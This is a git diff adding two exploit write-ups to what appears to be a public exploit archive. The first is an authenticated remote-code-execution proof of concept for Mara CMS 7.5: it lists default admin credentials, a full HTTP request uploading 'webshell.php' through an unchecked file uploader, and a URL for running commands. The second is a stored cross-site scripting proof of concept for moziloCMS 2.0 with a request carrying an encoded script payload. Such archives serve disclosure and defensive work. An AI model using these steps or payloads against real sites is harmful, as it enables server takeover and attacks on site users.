diff --git a/exploits/php/webapps/48780.txt b/exploits/php/webapps/48780.txt
new file mode 100644
index 000000000..222f84023
--- /dev/null
+++ b/exploits/php/webapps/48780.txt
@@ -0,0 +1,101 @@
+# Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)
+# Google Dork: N/A
+# Date: 2020-08-31
+# Exploit Author: Michele Cisternino (0blio_)
+# Vendor Homepage: https://sourceforge.net/projects/maracms/
+# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
+# Version: 7.5
+# Tested on: Kali Linux(x64)
+# CVE: N/A
+
+
+# Description
+
+
+MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
+In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
+The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.
+
+
+# PoC
+
+
+1. Login on MaraCMS. Default credentials are:
+ Username: admin
+ Password: changeme
+
+
+2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content ''.
+ A request similar to the following will be made:
+
+
+ POST /codebase/handler.php HTTP/1.1
+ Host: localhost
+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+ Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
+ Accept-Encoding: gzip, deflate
+ Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268
+ Content-Length: 1282
+ Origin: http://localhost
+ Connection: close
+ Referer: http://localhost/codebase/dir.php?type=filenew
+ Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv
+ Upgrade-Insecure-Requests: 1
+
+
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="authenticated"
+
+
+ MQ==
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="action"
+
+
+ dXBsb2Fk
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="MAX_FILE_SIZE"
+
+
+ 10485760
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="type"
+
+
+ filenew
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="files[]"; filename="webshell.php"
+ Content-Type: application/x-php
+
+
+
+
+
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="usr"
+
+
+ YWRtaW4=
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="pwd"
+
+
+ MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="authenticated"
+
+
+ MQ==
+ -----------------------------1202504167994776142974823268
+ Content-Disposition: form-data; name="destdir"
+
+
+
+
+ -----------------------------1202504167994776142974823268--
+
+
+3. Execute remote commands by navigating:
+
+ http://target/webshell.php?cmd=whoami
\ No newline at end of file
diff --git a/exploits/php/webapps/48781.txt b/exploits/php/webapps/48781.txt
new file mode 100644
index 000000000..64c475755
--- /dev/null
+++ b/exploits/php/webapps/48781.txt
@@ -0,0 +1,41 @@
+# Exploit Title: moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)
+# Date: 2020-08-31
+# Exploit Author: Abdulkadir Kaya
+# Vendor Homepage: https://www.mozilo.de/
+# Version: 2.0
+# Tested on: Windows & WampServer
+
+1- Go to following url. >> http://(HOST)/(PATH)/admin/
+2- Login the admin panel.
+3- Go to "Content".
+4- Write XSS payload in the "Content Page" section.
+5- Save.
+
+NOTE: Content Page must be in the Category.
+
+((XSS Payloads))
+
+1-
+2-
+3-
+
+(( REQUEST ))
+
+POST /mozilo/admin/index.php HTTP/1.1
+Host: 127.0.0.1:8088
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
+Accept: text/html, */*; q=0.01
+Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
+Accept-Encoding: gzip, deflate
+Referer: http://127.0.0.1:8088/mozilo/admin/index.php?nojs=true&action=catpage&multi=true
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+X-Requested-With: XMLHttpRequest
+Content-Length: 269
+Origin: http://127.0.0.1:8088
+Connection: close
+Cookie: mozilo_editor_settings=true,false,mozilo,12px; PHPSESSID=1jlbsfbodasafasl121chjv5947j0s;
+MOZILOID_875895d61510deasdfa1a7ad7cc6047f819=5tqsm5d5nvphqimdpqcnq4tqit
+
+action=catpage&sort_array[%253Cscript%253Ealert%2528%2522XSS%2520Confirmed%2521%2522%2529%253C%252Fscript%253E]
+=%5BWilkommen%5D&changeart=cat_page_move&cat_page_change[%253Cscript%253Ealert%2528%2522XSS%2520Confirmed%2521
+%2522%2529%253C%252Fscript%253E]=%5BWilkommen%5D
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 695501f3e..ec8715342 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -43018,3 +43018,5 @@ id,file,description,date,author,type,platform,port
48777,exploits/php/webapps/48777.txt,"Mara CMS 7.5 - Reflective Cross-Site Scripting",2020-08-31,"George Tsimpidas",webapps,php,
48778,exploits/php/webapps/48778.txt,"Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)",2020-08-31,c0mpu7er,webapps,php,
48779,exploits/php/webapps/48779.py,"CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)",2020-08-31,"Luis Noriega",webapps,php,
+48780,exploits/php/webapps/48780.txt,"Mara CMS 7.5 - Remote Code Execution (Authenticated)",2020-09-01,0blio_,webapps,php,
+48781,exploits/php/webapps/48781.txt,"moziloCMS 2.0 - Persistent Cross-Site Scripting (Authenticated)",2020-09-01,"Abdulkadir Kaya",webapps,php,